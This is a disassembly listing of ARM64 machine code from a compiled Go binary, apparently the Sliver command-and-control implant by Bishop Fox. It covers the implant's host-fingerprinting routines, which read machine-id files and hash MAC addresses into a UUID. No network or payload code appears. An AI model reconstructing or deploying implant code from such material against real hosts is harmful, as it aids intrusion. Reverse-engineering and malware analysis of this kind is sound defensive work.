    0050de54ldr x0, [sp+144]
    0050de58ldr x1, [sp+152]
    0050de5cldr x2, [sp+160]
    0050de60str x0, [sp+64]
    0050de64str x1, [sp+72]
    0050de68str x2, [sp+80]
    0050de6cldr x3, [sp+128]
    0050de70ldr x4, [sp+136]
    0050de74str x3, [sp+48]
    0050de78str x4, [sp+56]
    0050de7cldr x0, [sp+64]
    0050de80ldr x1, [sp+72]
    0050de84ldr x2, [sp+80]
    0050de88ldur x29, [sp-8]
    0050de8cldr x30, [sp], 176
    0050de90ret x30
    0050de94
    0050de94loc_50de94:
    0050de94bl runtime.panicwrap
    0050de98hint
    0050de9c
    0050de9cloc_50de9c:
    0050de9cstr x0, [sp+8]
    0050dea0mov x3, x30
    0050dea4bl runtime.morestack_noctxt.abi0
    0050dea8ldr x0, [sp+8]
    0050deacb 0x50ddb0
    0050deb0
    0050deb0loc_50deb0:
    0050deb0ldr x17, [x16]
    0050deb4add x20, sp, 184
    0050deb8subs xzr, x20, x17
    0050debcb.ne 0x50ddd4
    0050dec0add x20, sp, 8
    0050dec4str x20, [x16]
    0050dec8b 0x50ddd4
    0050deccudf 0
    0050ddb0
    0050ded0
    0050ded0github.com/gofrs/uuid.(*UUID).String: ; void github.com/gofrs/uuid.(*UUID).String(github.com/gofrs/uuid.UUID * u)
    0050ded0ldr x16, [x28+16]
    0050ded4subs xzr, sp, x16
    0050ded8b.ls 0x50df44
    0050dedcstr x30, [sp-80]!
    0050dee0stur x29, [sp-8]
    0050dee4sub x29, sp, 8
    0050dee8ldr x16, [x28+32]
    0050deeccbnz x16, 0x50df58
    0050def0
    0050def0loc_50def0:
    0050def0str x0, [sp+88]
    0050def4stp xzr, xzr, [sp+40]
    0050def8ldr x0, [sp+88]
    0050defccbnz x0, 0x50df04
    0050df00b 0x50df3c
    0050df04
    0050df04loc_50df04:
    0050df04ldr x0, [sp+88]
    0050df08ldrsb x27, [x0]
    0050df0cldp x0, x1, [x0]
    0050df10stp x0, x1, [sp+24]
    0050df14ldp x0, x1, [sp+24]
    0050df18stp x0, x1, [sp+8]
    0050df1cbl github.com/gofrs/uuid.UUID.String
    0050df20str x0, [sp+56]
    0050df24str x1, [sp+64]
    0050df28str x0, [sp+40]
    0050df2cstr x1, [sp+48]
    0050df30ldur x29, [sp-8]
    0050df34ldr x30, [sp], 80
    0050df38ret x30
    0050df3c
    0050df3cloc_50df3c:
    0050df3cbl runtime.panicwrap
    0050df40hint
    0050df44
    0050df44loc_50df44:
    0050df44str x0, [sp+8]
    0050df48mov x3, x30
    0050df4cbl runtime.morestack_noctxt.abi0
    0050df50ldr x0, [sp+8]
    0050df54b 0x50ded0
    0050df58
    0050df58loc_50df58:
    0050df58ldr x17, [x16]
    0050df5cadd x20, sp, 88
    0050df60subs xzr, x20, x17
    0050df64b.ne 0x50def0
    0050df68add x20, sp, 8
    0050df6cstr x20, [x16]
    0050df70b 0x50def0
    0050df74udf 0
    0050df78udf 0
    0050df7cudf 0
    0050ded0
    0050df80
    0050df80github.com/bishopfox/sliver/implant/sliver/hostuuid.init: ; void github.com/bishopfox/sliver/implant/sliver/hostuuid.init(void)
    0050df80ldr x16, [x28+16]
    0050df84subs xzr, sp, x16
    0050df88b.ls 0x50dffc
    0050df8cstr x30, [sp-128]!
    0050df90stur x29, [sp-8]
    0050df94sub x29, sp, 8
    0050df98stp xzr, xzr, [sp+88]
    0050df9cadrp x0, 0x1b4000
    0050dfa0add x0, x0, 1921
    0050dfa4movz x1, 36
    0050dfa8bl github.com/gofrs/uuid.FromString
    0050dfacldp x2, x3, [sp+8]
    0050dfb0stp x2, x3, [sp+56]
    0050dfb4str x0, [sp+88]
    0050dfb8str x1, [sp+96]
    0050dfbcldp x2, x3, [sp+56]
    0050dfc0stp x2, x3, [sp+72]
    0050dfc4ldr x0, [sp+88]
    0050dfc8ldr x1, [sp+96]
    0050dfccstr x0, [sp+104]
    0050dfd0str x1, [sp+112]
    0050dfd4ldp x2, x3, [sp+72]
    0050dfd8stp x2, x3, [sp+8]
    0050dfdcbl github.com/gofrs/uuid.Must
    0050dfe0ldp x2, x3, [sp+24]
    0050dfe4adrp x27, 0x53e000
    0050dfe8add x27, x27, 2880
    0050dfecstp x2, x3, [x27]
    0050dff0ldur x29, [sp-8]
    0050dff4ldr x30, [sp], 128
    0050dff8ret x30
    0050dffc
    0050dffcloc_50dffc:
    0050dffcmov x3, x30
    0050e000bl runtime.morestack_noctxt.abi0
    0050e004b 0x50df80
    0050e008udf 0
    0050e00cudf 0
    0050df80
    0050e010
    0050e010github.com/bishopfox/sliver/implant/sliver/hostuuid.UUIDFromMAC: ; void github.com/bishopfox/sliver/implant/sliver/hostuuid.UUIDFromMAC(void)
    0050e010ldr x16, [x28+16]
    0050e014sub x17, sp, 448
    0050e018subs xzr, x17, x16
    0050e01cb.ls 0x50e488
    0050e020sub x20, sp, 576
    0050e024stp x29, x30, [x20-8]
    0050e028add sp, x20, 0
    0050e02csub x29, sp, 8
    0050e030stp xzr, xzr, [sp+184]
    0050e034adrp x0, 0x1ba000
    0050e038add x0, x0, 1269
    0050e03corr x1, xzr, 48
    0050e040mov x2, xzr
    0050e044mov x3, xzr
    0050e048mov x4, x3
    0050e04cbl log.Printf
    0050e050str xzr, [sp+528]
    0050e054add x27, sp, 536
    0050e058stp xzr, xzr, [x27]
    0050e05cadd x27, sp, 512
    0050e060stp xzr, xzr, [x27]
    0050e064bl net.Interfaces
    0050e068str x0, [sp+528]
    0050e06cstr x1, [sp+536]
    0050e070str x2, [sp+544]
    0050e074str x3, [sp+512]
    0050e078str x4, [sp+520]
    0050e07cldr x5, [sp+528]
    0050e080ldr x6, [sp+536]
    0050e084ldr x7, [sp+544]
    0050e088str x5, [sp+376]
    0050e08cstr x6, [sp+384]
    0050e090str x7, [sp+392]
    0050e094ldr x5, [sp+512]
    0050e098ldr x6, [sp+520]
    0050e09cstr x5, [sp+360]
    0050e0a0str x6, [sp+368]
    0050e0a4ldr x5, [sp+376]
    0050e0a8ldr x6, [sp+384]
    0050e0acldr x7, [sp+392]
    0050e0b0str x5, [sp+200]
    0050e0b4str x6, [sp+208]
    0050e0b8str x7, [sp+216]
    0050e0bcldr x5, [sp+368]
    0050e0c0ldr x6, [sp+360]
    0050e0c4str x6, [sp+312]
    0050e0c8str x5, [sp+320]
    0050e0cccbnz x6, 0x50e0d4
    0050e0d0b 0x50e104
    0050e0d4
    0050e0d4loc_50e0d4:
    0050e0d4adrp x27, 0x53d000
    0050e0d8add x27, x27, 2880
    0050e0dcldp x0, x1, [x27]
    0050e0e0stp x0, x1, [sp+8]
    0050e0e4bl github.com/gofrs/uuid.UUID.String
    0050e0e8str x0, [sp+496]
    0050e0ecstr x1, [sp+504]
    0050e0f0str x0, [sp+184]
    0050e0f4str x1, [sp+192]
    0050e0f8ldp x29, x30, [sp-8]
    0050e0fcadd sp, sp, 576
    0050e100ret x30
    0050e104
    0050e104loc_50e104:
    0050e104add x3, sp, 176
    0050e108str x3, [sp+416]
    0050e10cldrsb x27, [x3]
    0050e110b 0x50e114
    0050e114
    0050e114loc_50e114:
    0050e114str x3, [sp+288]
    0050e118stp xzr, xzr, [sp+296]
    0050e11cldr x3, [sp+208]
    0050e120ldr x4, [sp+200]
    0050e124ldr x5, [sp+216]
    0050e128str x4, [sp+528]
    0050e12cstr x3, [sp+536]
    0050e130str x5, [sp+544]
    0050e134str xzr, [sp+168]
    0050e138str x3, [sp+160]
    0050e13cldr x3, [sp+528]
    0050e140str x3, [sp+152]
    0050e144b 0x50e148
    0050e148
    0050e148loc_50e148:
    0050e148ldr x3, [sp+160]
    0050e14cldr x4, [sp+168]
    0050e150subs xzr, x3, x4
    0050e154b.gt 0x50e15c
    0050e158b 0x50e258
    0050e15c
    0050e15cloc_50e15c:
    0050e15cldr x3, [sp+152]
    0050e160str x3, [sp+408]
    0050e164ldr x3, [sp+408]
    0050e168ldp x4, x5, [x3]
    0050e16cldp x6, x7, [x3+16]
    0050e170ldp x8, x9, [x3+32]
    0050e174ldp x3, x10, [x3+48]
    0050e178stp x4, x5, [sp+224]
    0050e17cstp x6, x7, [sp+240]
    0050e180stp x8, x9, [sp+256]
    0050e184stp x3, x10, [sp+272]
    0050e188ldr x3, [sp+256]
    0050e18ccbnz x3, 0x50e194
    0050e190b 0x50e234
    0050e194
    0050e194loc_50e194:
    0050e194ldr x0, [sp+256]
    0050e198ldr x1, [sp+264]
    0050e19cldr x2, [sp+272]
    0050e1a0bl net.HardwareAddr.String
    0050e1a4str x0, [sp+496]
    0050e1a8str x1, [sp+504]
    0050e1acldr x2, [sp+304]
    0050e1b0ldr x3, [sp+296]
    0050e1b4add x1, x3, 1
    0050e1b8ldr x0, [sp+288]
    0050e1bcsubs xzr, x2, x1
    0050e1c0b.hs 0x50e1c8
    0050e1c4b 0x50e1cc
    0050e1c8
    0050e1c8loc_50e1c8:
    0050e1c8b 0x50e1e0
    0050e1cc
    0050e1ccloc_50e1cc:
    0050e1ccorr x3, xzr, 1
    0050e1d0adrp x4, 0xe7000
    0050e1d4add x4, x4, 2944
    0050e1d8bl runtime.growslice
    0050e1dcb 0x50e1e0
    0050e1e0
    0050e1e0loc_50e1e0:
    0050e1e0sub x3, x1, 1
    0050e1e4add x4, x0, x3, lsl #4
    0050e1e8ubfm x3, x3, 60, 59
    0050e1ecldr x5, [sp+496]
    0050e1f0ldr x6, [sp+504]
    0050e1f4str x6, [x4+8]
    0050e1f8adrp x27, 0x53d000
    0050e1fcldr w4, [x27+3056]
    0050e200cbz w4, 0x50e208
    0050e204b 0x50e20c
    0050e208
    0050e208loc_50e208:
    0050e208b 0x50e220
    0050e20c
    0050e20cloc_50e20c:
    0050e20cbl runtime.gcWriteBarrier2
    0050e210str x5, [x25]
    0050e214ldr x4, [x0+x3]
    0050e218str x4, [x25+8]
    0050e21cb 0x50e220
    0050e220
    0050e220loc_50e220:
    0050e220str x5, [x0+x3]
    0050e224str x0, [sp+288]
    0050e228str x1, [sp+296]
    0050e22cstr x2, [sp+304]
    0050e230b 0x50e238
    0050e234
    0050e234loc_50e234:
    0050e234b 0x50e238
    0050e238
    0050e238loc_50e238:
    0050e238b 0x50e23c
    0050e23c
    0050e23cloc_50e23c:
    0050e23cldr x3, [sp+168]
    0050e240add x3, x3, 1
    0050e244str x3, [sp+168]
    0050e248ldr x3, [sp+408]
    0050e24cadd x3, x3, 64
    0050e250str x3, [sp+152]
    0050e254b 0x50e148
    0050e258
    0050e258loc_50e258:
    0050e258ldr x3, [sp+296]
    0050e25cstr x3, [sp+176]
    0050e260cbz x3, 0x50e268
    0050e264b 0x50e298
    0050e268
    0050e268loc_50e268:
    0050e268adrp x27, 0x53d000
    0050e26cadd x27, x27, 2880
    0050e270ldp x0, x1, [x27]
    0050e274stp x0, x1, [sp+8]
    0050e278bl github.com/gofrs/uuid.UUID.String
    0050e27cstr x0, [sp+496]
    0050e280str x1, [sp+504]
    0050e284str x0, [sp+184]
    0050e288str x1, [sp+192]
    0050e28cldp x29, x30, [sp-8]
    0050e290add sp, sp, 576
    0050e294ret x30
    0050e298
    0050e298loc_50e298:
    0050e298ldr x0, [sp+288]
    0050e29cldr x1, [sp+296]
    0050e2a0ldr x2, [sp+304]
    0050e2a4bl sort.Strings
    0050e2a8bl crypto/sha256.New
    0050e2acstr x0, [sp+328]
    0050e2b0str x1, [sp+336]
    0050e2b4ldr x3, [sp+296]
    0050e2b8ldr x4, [sp+288]
    0050e2bcldr x5, [sp+304]
    0050e2c0str x4, [sp+472]
    0050e2c4str x3, [sp+480]
    0050e2c8str x5, [sp+488]
    0050e2ccstr xzr, [sp+144]
    0050e2d0str x3, [sp+136]
    0050e2d4ldr x3, [sp+472]
    0050e2d8str x3, [sp+128]
    0050e2dcb 0x50e2e0
    0050e2e0
    0050e2e0loc_50e2e0:
    0050e2e0ldr x4, [sp+136]
    0050e2e4ldr x5, [sp+144]
    0050e2e8subs xzr, x4, x5
    0050e2ecb.gt 0x50e2f4
    0050e2f0b 0x50e378
    0050e2f4
    0050e2f4loc_50e2f4:
    0050e2f4ldr x3, [sp+128]
    0050e2f8str x3, [sp+400]
    0050e2fcldr x3, [sp+400]
    0050e300ldr x1, [x3]
    0050e304ldr x2, [x3+8]
    0050e308str x1, [sp+344]
    0050e30cstr x2, [sp+352]
    0050e310mov x0, xzr
    0050e314bl runtime.stringtoslicebyte
    0050e318str x0, [sp+448]
    0050e31cstr x1, [sp+456]
    0050e320str x2, [sp+464]
    0050e324ldr x3, [sp+328]
    0050e328ldrsb x27, [x3]
    0050e32cldr x4, [sp+336]
    0050e330ldr x3, [x3+56]
    0050e334mov x5, x0
    0050e338mov x0, x4
    0050e33cmov x6, x1
    0050e340mov x1, x5
    0050e344mov x7, x2
    0050e348mov x2, x6
    0050e34cmov x8, x3
    0050e350mov x3, x7
    0050e354blr x8
    0050e358b 0x50e35c
    0050e35c
    0050e35cloc_50e35c:
    0050e35cldr x4, [sp+144]
    0050e360add x4, x4, 1
    0050e364str x4, [sp+144]
    0050e368ldr x4, [sp+400]
    0050e36cadd x4, x4, 16
    0050e370str x4, [sp+128]
    0050e374b 0x50e2e0
    0050e378
    0050e378loc_50e378:
    0050e378ldr x4, [sp+328]
    0050e37cldrsb x27, [x4]
    0050e380ldr x4, [x4+48]
    0050e384ldr x0, [sp+336]
    0050e388mov x1, xzr
    0050e38cmov x2, xzr
    0050e390mov x3, x2
    0050e394blr x4
    0050e398str x0, [sp+448]
    0050e39cstr x1, [sp+456]
    0050e3a0str x2, [sp+464]
    0050e3a4subs xzr, x2, 16
    0050e3a8b.hs 0x50e3b0
    0050e3acb 0x50e47c
    0050e3b0
    0050e3b0loc_50e3b0:
    0050e3b0b 0x50e3b4
    0050e3b4
    0050e3b4loc_50e3b4:
    0050e3b4str x0, [sp+424]
    0050e3b8orr x3, xzr, 16
    0050e3bcstr x3, [sp+432]
    0050e3c0str x2, [sp+440]
    0050e3c4add x27, sp, 512
    0050e3c8stp xzr, xzr, [x27]
    0050e3ccldr x0, [sp+424]
    0050e3d0ldr x1, [sp+432]
    0050e3d4ldr x2, [sp+440]
    0050e3d8bl github.com/gofrs/uuid.FromBytes
    0050e3dcldp x3, x4, [sp+8]
    0050e3e0stp x3, x4, [sp+96]
    0050e3e4str x0, [sp+512]
    0050e3e8str x1, [sp+520]
    0050e3ecldp x3, x4, [sp+96]
    0050e3f0stp x3, x4, [sp+112]
    0050e3f4ldr x3, [sp+512]
    0050e3f8ldr x4, [sp+520]
    0050e3fcstr x3, [sp+552]
    0050e400str x4, [sp+560]
    0050e404ldp x3, x4, [sp+112]
    0050e408stp x3, x4, [sp+80]
    0050e40cldr x3, [sp+560]
    0050e410ldr x4, [sp+552]
    0050e414str x4, [sp+312]
    0050e418str x3, [sp+320]
    0050e41ccbnz x4, 0x50e424
    0050e420b 0x50e454
    0050e424
    0050e424loc_50e424:
    0050e424adrp x27, 0x53d000
    0050e428add x27, x27, 2880
    0050e42cldp x0, x1, [x27]
    0050e430stp x0, x1, [sp+8]
    0050e434bl github.com/gofrs/uuid.UUID.String
    0050e438str x0, [sp+496]
    0050e43cstr x1, [sp+504]
    0050e440str x0, [sp+184]
    0050e444str x1, [sp+192]
    0050e448ldp x29, x30, [sp-8]
    0050e44cadd sp, sp, 576
    0050e450ret x30
    0050e454
    0050e454loc_50e454:
    0050e454ldp x0, x1, [sp+80]
    0050e458stp x0, x1, [sp+8]
    0050e45cbl github.com/gofrs/uuid.UUID.String
    0050e460str x0, [sp+496]
    0050e464str x1, [sp+504]
    0050e468str x0, [sp+184]
    0050e46cstr x1, [sp+192]
    0050e470ldp x29, x30, [sp-8]
    0050e474add sp, sp, 576
    0050e478ret x30
    0050e47c
    0050e47cloc_50e47c:
    0050e47corr x1, xzr, 16
    0050e480bl runtime.panicSliceAcap
    0050e484hint
    0050e488
    0050e488loc_50e488:
    0050e488mov x3, x30
    0050e48cbl runtime.morestack_noctxt.abi0
    0050e490b 0x50e010
    0050e494udf 0
    0050e498udf 0
    0050e49cudf 0
    0050e010
    0050e4a0
    0050e4a0github.com/bishopfox/sliver/implant/sliver/hostuuid.GetUUID: ; void github.com/bishopfox/sliver/implant/sliver/hostuuid.GetUUID(void)
    0050e4a0ldr x16, [x28+16]
    0050e4a4sub x17, sp, 384
    0050e4a8subs xzr, x17, x16
    0050e4acb.ls 0x50e9b4
    0050e4b0sub x20, sp, 512
    0050e4b4stp x29, x30, [x20-8]
    0050e4b8add sp, x20, 0
    0050e4bcsub x29, sp, 8
    0050e4c0stp xzr, xzr, [sp+64]
    0050e4c4str xzr, [sp+136]
    0050e4c8stp xzr, xzr, [sp+144]
    0050e4ccstp xzr, xzr, [sp+120]
    0050e4d0adrp x0, 0x1a6000
    0050e4d4add x0, x0, 912
    0050e4d8orr x1, xzr, 15
    0050e4dcbl os.ReadFile
    0050e4e0str x0, [sp+136]
    0050e4e4str x1, [sp+144]
    0050e4e8str x2, [sp+152]
    0050e4ecstr x3, [sp+120]
    0050e4f0str x4, [sp+128]
    0050e4f4ldr x2, [sp+136]
    0050e4f8ldr x3, [sp+144]
    0050e4fcldr x4, [sp+152]
    0050e500str x2, [sp+216]
    0050e504str x3, [sp+224]
    0050e508str x4, [sp+232]
    0050e50cldr x2, [sp+120]
    0050e510ldr x3, [sp+128]
    0050e514str x2, [sp+200]
    0050e518str x3, [sp+208]
    0050e51cldr x2, [sp+216]
    0050e520ldr x3, [sp+224]
    0050e524ldr x4, [sp+232]
    0050e528str x2, [sp+80]
    0050e52cstr x3, [sp+88]
    0050e530str x4, [sp+96]
    0050e534ldr x2, [sp+208]
    0050e538ldr x3, [sp+200]
    0050e53cstr x3, [sp+104]
    0050e540str x2, [sp+112]
    0050e544subs xzr, x3, 0
    0050e548cset x2, ne
    0050e54cstrb w2, [sp+55]
    0050e550cbnz x3, 0x50e558
    0050e554b 0x50e55c
    0050e558
    0050e558loc_50e558:
    0050e558b 0x50e574
    0050e55c
    0050e55cloc_50e55c:
    0050e55cldr x3, [sp+88]
    0050e560str x3, [sp+56]
    0050e564subs xzr, x3, 33
    0050e568cset x3, ne
    0050e56cstrb w3, [sp+55]
    0050e570b 0x50e574
    0050e574
    0050e574loc_50e574:
    0050e574ldrb w3, [sp+55]
    0050e578tbnz w3, 0, 0x50e580
    0050e57cb 0x50e660
    0050e580
    0050e580loc_50e580:
    0050e580str xzr, [sp+136]
    0050e584stp xzr, xzr, [sp+144]
    0050e588stp xzr, xzr, [sp+120]
    0050e58cadrp x0, 0x1ab000
    0050e590add x0, x0, 390
    0050e594orr x1, xzr, 24
    0050e598bl os.ReadFile
    0050e59cstr x0, [sp+136]
    0050e5a0str x1, [sp+144]
    0050e5a4str x2, [sp+152]
    0050e5a8str x3, [sp+120]
    0050e5acstr x4, [sp+128]
    0050e5b0ldr x2, [sp+136]
    0050e5b4ldr x3, [sp+144]
    0050e5b8ldr x4, [sp+152]
    0050e5bcstr x2, [sp+176]
    0050e5c0str x3, [sp+184]
    0050e5c4str x4, [sp+192]
    0050e5c8ldr x2, [sp+120]
    0050e5ccldr x3, [sp+128]
    0050e5d0str x2, [sp+160]
    0050e5d4str x3, [sp+168]
    0050e5d8ldr x2, [sp+176]
    0050e5dcldr x3, [sp+184]
    0050e5e0ldr x4, [sp+192]
    0050e5e4str x2, [sp+80]
    0050e5e8str x3, [sp+88]
    0050e5ecstr x4, [sp+96]
    0050e5f0ldr x2, [sp+168]
    0050e5f4ldr x3, [sp+160]
    0050e5f8str x3, [sp+104]
    0050e5fcstr x2, [sp+112]
    0050e600subs xzr, x3, 0
    0050e604cset x2, ne
    0050e608strb w2, [sp+55]
    0050e60ccbnz x3, 0x50e614
    0050e610b 0x50e618
    0050e614
    0050e614loc_50e614:
    0050e614b 0x50e630
    0050e618
    0050e618loc_50e618:
    0050e618ldr x3, [sp+88]
    0050e61cstr x3, [sp+56]
    0050e620subs xzr, x3, 33
    0050e624cset x3, ne
    0050e628strb w3, [sp+55]
    0050e62cb 0x50e630
    0050e630
    0050e630loc_50e630:
    0050e630ldrb w3, [sp+55]
    0050e634tbnz w3, 0, 0x50e63c
    0050e638b 0x50e65c
    0050e63c
    0050e63cloc_50e63c:
    0050e63cbl github.com/bishopfox/sliver/implant/sliver/hostuuid.UUIDFromMAC
    0050e640str x0, [sp+488]
    0050e644str x1, [sp+496]
    0050e648str x0, [sp+64]
    0050e64cstr x1, [sp+72]
    0050e650ldp x29, x30, [sp-8]
    0050e654add sp, sp, 512
    0050e658ret x30
    0050e65c
    0050e65cloc_50e65c:
    0050e65cb 0x50e664
    0050e660
    0050e660loc_50e660:
    0050e660b 0x50e664
    0050e664
    0050e664loc_50e664:
    0050e664ldr x2, [sp+96]
    0050e668ldr x3, [sp+80]
    0050e66csubs xzr, x2, 8
    0050e670b.hs 0x50e678
    0050e674b 0x50e9a8
    0050e678
    0050e678loc_50e678:
    0050e678b 0x50e67c
    0050e67c
    0050e67cloc_50e67c:
    0050e67cstr x3, [sp+136]
    0050e680orr x3, xzr, 8
    0050e684str x3, [sp+144]
    0050e688str x2, [sp+152]
    0050e68cldr x2, [sp+96]
    0050e690ldr x3, [sp+80]
    0050e694subs xzr, x2, 12
    0050e698b.hs 0x50e6a0
    0050e69cb 0x50e9a0
    0050e6a0
    0050e6a0loc_50e6a0:
    0050e6a0b 0x50e6a4
    0050e6a4
    0050e6a4loc_50e6a4:
    0050e6a4sub x4, x2, 8
    0050e6a8sub x5, xzr, x4
    0050e6acsbfm x5, x5, 63, 63
    0050e6b0and x5, x5, 8
    0050e6b4add x3, x3, x5
    0050e6b8str x3, [sp+464]
    0050e6bcorr x3, xzr, 4
    0050e6c0str x3, [sp+472]
    0050e6c4str x4, [sp+480]
    0050e6c8ldr x2, [sp+96]
    0050e6ccldr x4, [sp+80]
    0050e6d0subs xzr, x2, 16
    0050e6d4b.hs 0x50e6dc
    0050e6d8b 0x50e998
    0050e6dc
    0050e6dcloc_50e6dc:
    0050e6dcb 0x50e6e0
    0050e6e0
    0050e6e0loc_50e6e0:
    0050e6e0sub x5, x2, 12
    0050e6e4sub x6, xzr, x5
    0050e6e8sbfm x6, x6, 63, 63
    0050e6ecand x6, x6, 12
    0050e6f0add x4, x4, x6
    0050e6f4str x4, [sp+440]
    0050e6f8str x3, [sp+448]
    0050e6fcstr x5, [sp+456]
    0050e700ldr x2, [sp+96]
    0050e704ldr x4, [sp+80]
    0050e708subs xzr, x2, 20
    0050e70cb.hs 0x50e714
    0050e710b 0x50e990
    0050e714
    0050e714loc_50e714:
    0050e714b 0x50e718
    0050e718
    0050e718loc_50e718:
    0050e718sub x5, x2, 16
    0050e71csub x6, xzr, x5
    0050e720sbfm x6, x6, 63, 63
    0050e724and x6, x6, 16
    0050e728add x4, x4, x6
    0050e72cstr x4, [sp+416]
    0050e730str x3, [sp+424]
    0050e734str x5, [sp+432]
    0050e738ldr x2, [sp+96]
    0050e73cldr x3, [sp+80]
    0050e740subs xzr, x2, 32
    0050e744b.hs 0x50e74c
    0050e748b 0x50e988
    0050e74c
    0050e74cloc_50e74c:
    0050e74cb 0x50e750
    0050e750
    0050e750loc_50e750:
    0050e750sub x4, x2, 20
    0050e754sub x5, xzr, x4
    0050e758sbfm x5, x5, 63, 63
    0050e75cmovz x6, 20
    0050e760and x5, x5, x6
    0050e764add x3, x3, x5
    0050e768str x3, [sp+392]
    0050e76corr x3, xzr, 12
    0050e770str x3, [sp+400]
    0050e774str x4, [sp+408]
    0050e778add x20, sp, 312
    0050e77cadr x27, 16
    0050e780stp x29, x27, [sp-24]
    0050e784sub x29, sp, 24
    0050e788bl fn_87cfc
    0050e78csub x29, sp, 8
    0050e790add x3, sp, 312
    0050e794str x3, [sp+280]
    0050e798ldr x0, [sp+136]
    0050e79cldr x1, [sp+144]
    0050e7a0ldr x2, [sp+152]
    0050e7a4bl runtime.convTslice
    0050e7a8str x0, [sp+272]
    0050e7acldr x3, [sp+280]
    0050e7b0ldrsb x27, [x3]
    0050e7b4adrp x4, 0xdf000
    0050e7b8add x4, x4, 1216
    0050e7bcstr x4, [x3]
    0050e7c0adrp x27, 0x53d000
    0050e7c4ldr w4, [x27+3056]
    0050e7c8cbz w4, 0x50e7d0
    0050e7ccb 0x50e7d4
    0050e7d0
    0050e7d0loc_50e7d0:
    0050e7d0b 0x50e7e8
    0050e7d4
    0050e7d4loc_50e7d4:
    0050e7d4bl runtime.gcWriteBarrier2
    0050e7d8str x0, [x25]
    0050e7dcldr x4, [x3+8]
    0050e7e0str x4, [x25+8]
    0050e7e4b 0x50e7e8
    0050e7e8
    0050e7e8loc_50e7e8:
    0050e7e8str x0, [x3+8]
    0050e7ecldr x0, [sp+464]
    0050e7f0ldr x1, [sp+472]
    0050e7f4ldr x2, [sp+480]
    0050e7f8bl runtime.convTslice
    0050e7fcstr x0, [sp+264]
    0050e800ldr x3, [sp+280]
    0050e804ldrsb x27, [x3]
    0050e808adrp x4, 0xdf000
    0050e80cadd x4, x4, 1216
    0050e810str x4, [x3+16]
    0050e814adrp x27, 0x53d000
    0050e818ldr w4, [x27+3056]
    0050e81ccbz w4, 0x50e824
    0050e820b 0x50e828
    0050e824
    0050e824loc_50e824:
    0050e824b 0x50e83c
    0050e828
    0050e828loc_50e828:
    0050e828bl runtime.gcWriteBarrier2
    0050e82cstr x0, [x25]
    0050e830ldr x4, [x3+24]
    0050e834str x4, [x25+8]
    0050e838b 0x50e83c
    0050e83c
    0050e83cloc_50e83c:
    0050e83cstr x0, [x3+24]
    0050e840ldr x0, [sp+440]
    0050e844ldr x1, [sp+448]
    0050e848ldr x2, [sp+456]
    0050e84cbl runtime.convTslice
    0050e850str x0, [sp+256]
    0050e854ldr x3, [sp+280]
    0050e858ldrsb x27, [x3]
    0050e85cadrp x4, 0xdf000
    0050e860add x4, x4, 1216
    0050e864str x4, [x3+32]
    0050e868adrp x27, 0x53d000
    0050e86cldr w4, [x27+3056]
    0050e870cbz w4, 0x50e878
    0050e874b 0x50e87c
    0050e878
    0050e878loc_50e878:
    0050e878b 0x50e890
    0050e87c
    0050e87cloc_50e87c:
    0050e87cbl runtime.gcWriteBarrier2
    0050e880str x0, [x25]
    0050e884ldr x4, [x3+40]
    0050e888str x4, [x25+8]
    0050e88cb 0x50e890
    0050e890
    0050e890loc_50e890:
    0050e890str x0, [x3+40]
    0050e894ldr x0, [sp+416]
    0050e898ldr x1, [sp+424]
    0050e89cldr x2, [sp+432]
    0050e8a0bl runtime.convTslice
    0050e8a4str x0, [sp+248]
    0050e8a8ldr x3, [sp+280]
    0050e8acldrsb x27, [x3]
    0050e8b0adrp x4, 0xdf000
    0050e8b4add x4, x4, 1216
    0050e8b8str x4, [x3+48]
    0050e8bcadrp x27, 0x53d000
    0050e8c0ldr w4, [x27+3056]
    0050e8c4cbz w4, 0x50e8cc
    0050e8c8b 0x50e8d0
    0050e8cc
    0050e8ccloc_50e8cc:
    0050e8ccb 0x50e8e4
    0050e8d0
    0050e8d0loc_50e8d0:
    0050e8d0bl runtime.gcWriteBarrier2
    0050e8d4str x0, [x25]
    0050e8d8ldr x4, [x3+56]
    0050e8dcstr x4, [x25+8]
    0050e8e0b 0x50e8e4
    0050e8e4
    0050e8e4loc_50e8e4:
    0050e8e4str x0, [x3+56]
    0050e8e8ldr x0, [sp+392]
    0050e8ecldr x1, [sp+400]
    0050e8f0ldr x2, [sp+408]
    0050e8f4bl runtime.convTslice
    0050e8f8str x0, [sp+240]
    0050e8fcldr x3, [sp+280]
    0050e900ldrsb x27, [x3]
    0050e904adrp x4, 0xdf000
    0050e908add x4, x4, 1216
    0050e90cstr x4, [x3+64]
    0050e910adrp x27, 0x53d000
    0050e914ldr w4, [x27+3056]
    0050e918cbz w4, 0x50e920
    0050e91cb 0x50e924
    0050e920
    0050e920loc_50e920:
    0050e920b 0x50e938
    0050e924
    0050e924loc_50e924:
    0050e924bl runtime.gcWriteBarrier2
    0050e928str x0, [x25]
    0050e92cldr x5, [x3+72]
    0050e930str x5, [x25+8]
    0050e934b 0x50e938
    0050e938
    0050e938loc_50e938:
    0050e938str x0, [x3+72]
    0050e93cldr x2, [sp+280]
    0050e940ldrsb x27, [x2]
    0050e944b 0x50e948
    0050e948
    0050e948loc_50e948:
    0050e948str x2, [sp+288]
    0050e94cmovz x4, 5
    0050e950str x4, [sp+296]
    0050e954str x4, [sp+304]
    0050e958adrp x0, 0x1a5000
    0050e95cadd x0, x0, 3570
    0050e960orr x1, xzr, 14
    0050e964mov x3, x4
    0050e968bl fmt.Sprintf
    0050e96cstr x0, [sp+488]
    0050e970str x1, [sp+496]
    0050e974str x0, [sp+64]
    0050e978str x1, [sp+72]
    0050e97cldp x29, x30, [sp-8]
    0050e980add sp, sp, 512
    0050e984ret x30
    0050e988
    0050e988loc_50e988:
    0050e988orr x1, xzr, 32
    0050e98cbl runtime.panicSliceAcap
    0050e990
    0050e990loc_50e990:
    0050e990movz x1, 20
    0050e994bl runtime.panicSliceAcap
    0050e998
    0050e998loc_50e998:
    0050e998orr x1, xzr, 16
    0050e99cbl runtime.panicSliceAcap
    0050e9a0
    0050e9a0loc_50e9a0:
    0050e9a0orr x1, xzr, 12
    0050e9a4bl runtime.panicSliceAcap
    0050e9a8
    0050e9a8loc_50e9a8:
    0050e9a8orr x1, xzr, 8
    0050e9acbl runtime.panicSliceAcap
    0050e9b0hint
    0050e9b4
    0050e9b4loc_50e9b4:
    0050e9b4mov x3, x30
    0050e9b8bl runtime.morestack_noctxt.abi0
    0050e9bcb 0x50e4a0
    0050e4a0
    0050e9c0
    0050e9c0github.com/bishopfox/sliver/implant/sliver/limits.ExecLimits: ; void github.com/bishopfox/sliver/implant/sliver/limits.ExecLimits(void)
